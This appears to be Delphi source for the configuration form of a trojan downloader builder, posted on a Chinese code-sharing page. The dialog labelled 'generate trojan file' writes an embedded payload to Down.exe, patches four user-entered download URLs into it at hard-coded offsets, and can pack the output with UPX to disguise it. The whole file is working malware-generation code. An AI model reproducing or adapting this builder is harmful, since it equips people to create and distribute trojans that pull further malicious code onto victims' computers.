📄 unitconfigserver.pas
字号:
unit UnitConfigServer;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls,Inifiles,ShellApi, SkinCtrls, Mask, SkinBoxCtrls,
SkinData, DynamicSkinForm;
const
OFFSET_URL1 = 36692; //地址
OFFSET_URL11 =36768; //地址
OFFSET_URL2 = 36804; //地址
OFFSET_URL22 = 36880; //地址
OFFSET_URL3 = 36916; //地址
OFFSET_URL33 = 36992; //地址
OFFSET_URL4 = 37028; //地址
OFFSET_URL44 = 37104; //地址
type
TConfigServer = class(TForm)
spSkinStdLabel1: TspSkinStdLabel;
edit1: TspSkinEdit;
spSkinStdLabel2: TspSkinStdLabel;
Edit2: TspSkinEdit;
spSkinStdLabel3: TspSkinStdLabel;
Edit3: TspSkinEdit;
Edit4: TspSkinEdit;
spSkinStdLabel4: TspSkinStdLabel;
spSkinStdLabel5: TspSkinStdLabel;
BitBtn1: TspSkinButton;
spDynamicSkinForm1: TspDynamicSkinForm;
spSkinData1: TspSkinData;
spCompressedStoredSkin1: TspCompressedStoredSkin;
CheckBox1: TspSkinCheckRadioBox;
procedure BitBtn1Click(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
ConfigServer: TConfigServer;
myinifile: TInifile;
Filenupx: string;
implementation
{$R *.dfm}
{$R 'server.RES' 'server.rc'}
{$R 'upxserver.RES'}
function ExtractRes(ResType, ResName, OutName: string): Boolean;
var
HResInfo: THandle;
HGlobal: THandle;
HFile: THandle;
Ptr: Pointer;
Size, N: Integer;
begin
HFile := INVALID_HANDLE_VALUE;
repeat
Result := False;
HResInfo := FindResource(HInstance, PChar(ResName), PChar(ResType));
if HResInfo = 0 then Break;
HGlobal := LoadResource(HInstance, HResInfo);
if HGlobal = 0 then Break;
Ptr := LockResource(HGlobal);
Size := SizeOfResource(HInstance, HResInfo);
if Ptr = nil then Break;
HFile := CreateFile(PChar(OutName), GENERIC_READ or GENERIC_WRITE,
0, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if HFile = INVALID_HANDLE_VALUE then Break;
if WriteFile(HFile, Ptr^, Size, LongWord(N), nil) then Result := True;
until True;
if HFile <> INVALID_HANDLE_VALUE then CloseHandle(HFile);
SetFileAttributes(PChar(OutName), 0);
end;
// 生成 ----------------------------
procedure TConfigServer.BitBtn1Click(Sender: TObject);
var
WriteBuff, ResultFilePath, ResourcePointer: PChar;
ResourceLocation: HRSRC;
ResourceSize, BytesWritten: Longword;
ResDataHandle: THandle;
FileHandle: THandle;
sf: TSaveDialog;
Lexe,Url1,LFile,hookfile,ExpFile, Lftp,Lftxt,Ltoru,Url2,Url3,Url4: string;
begin
if trim(Edit1.Text) = '' then
begin
MessageBox(0, '请输入下载地址', '提示信息', mb_iconinformation);
exit;
end;
begin
sf := TSaveDialog.Create(Application);
sf.InitialDir := Application.ExeName;
sf.FileName := 'Down.exe';
sf.DefaultExt := 'exe';
sf.Title := '生成木马文件';
if not sf.Execute then exit;
Url1 := trim(Edit1.Text); // 下载地址:
Url2 := trim(Edit2.Text); // 下载地址:
Url3 := trim(Edit3.Text); // 下载地址:
Url4 := trim(Edit4.Text); // 下载地址:
Filenupx := sf.FileName;
ResultFilePath := pchar(sf.FileName);
ResourceLocation := FindResource(HInstance, 'HOOKMM', RT_RCDATA);
if ResourceLocation <> 0 then
begin
ResourceSize := SizeofResource(HInstance, ResourceLocation);
if ResourceSize <> 0 then
begin
ResDataHandle := LoadResource(HInstance, ResourceLocation);
if ResDataHandle <> 0 then
begin
ResourcePointer := LockResource(ResDataHandle);
if ResourcePointer <> nil then
begin
FileHandle := CreateFile(ResultFilePath, GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if FileHandle <> INVALID_HANDLE_VALUE then
begin
WriteFile(FileHandle, ResourcePointer^, ResourceSize, BytesWritten, nil);
Sleep(10);
SetFilePointer(FileHandle, OFFSET_URL1, nil, FILE_BEGIN); //下载地址:
WriteBuff := PChar(Url1 + StringOfChar(#0, 64 - Length(Url1)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL11, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_URL2, nil, FILE_BEGIN); //下载地址:
WriteBuff := PChar(Url2 + StringOfChar(#0, 64 - Length(Url2)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL22, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_URL3, nil, FILE_BEGIN); //下载地址:
WriteBuff := PChar(Url3 + StringOfChar(#0, 64 - Length(Url3)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL33, nil, FILE_BEGIN);
SetFilePointer(FileHandle, OFFSET_URL4, nil, FILE_BEGIN); //下载地址:
WriteBuff := PChar(Url4 + StringOfChar(#0, 64 - Length(Url4)));
WriteFile(FileHandle, WriteBuff^, 65, BytesWritten, nil);
SetFilePointer(FileHandle, OFFSET_URL44, nil, FILE_BEGIN);
CloseHandle(FileHandle);
MessageBox(0, '配置文件成功', '提示', mb_iconinformation);
if CheckBox1.Checked then
begin
if ExtractRes('RCDUPX', 'UPXKMM', 'UPX.EXE') then
begin
ShellExecute(0, nil, 'upx.exe', PChar('"' + Filenupx + '"'), nil, SW_MINIMIZE);
Sleep(1000);
DeleteFile('upx.exe');
end;
end
end;
end;
end;
end;
end;
end;
end;
procedure TConfigServer.FormShow(Sender: TObject);
begin
SetWindowLong(BitBtn1.Handle, GWL_STYLE, WS_CHILD or WS_VISIBLE or BS_FLAT);
end;
procedure TConfigServer.FormDestroy(Sender: TObject);
begin
DeleteFile('upx.exe');
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -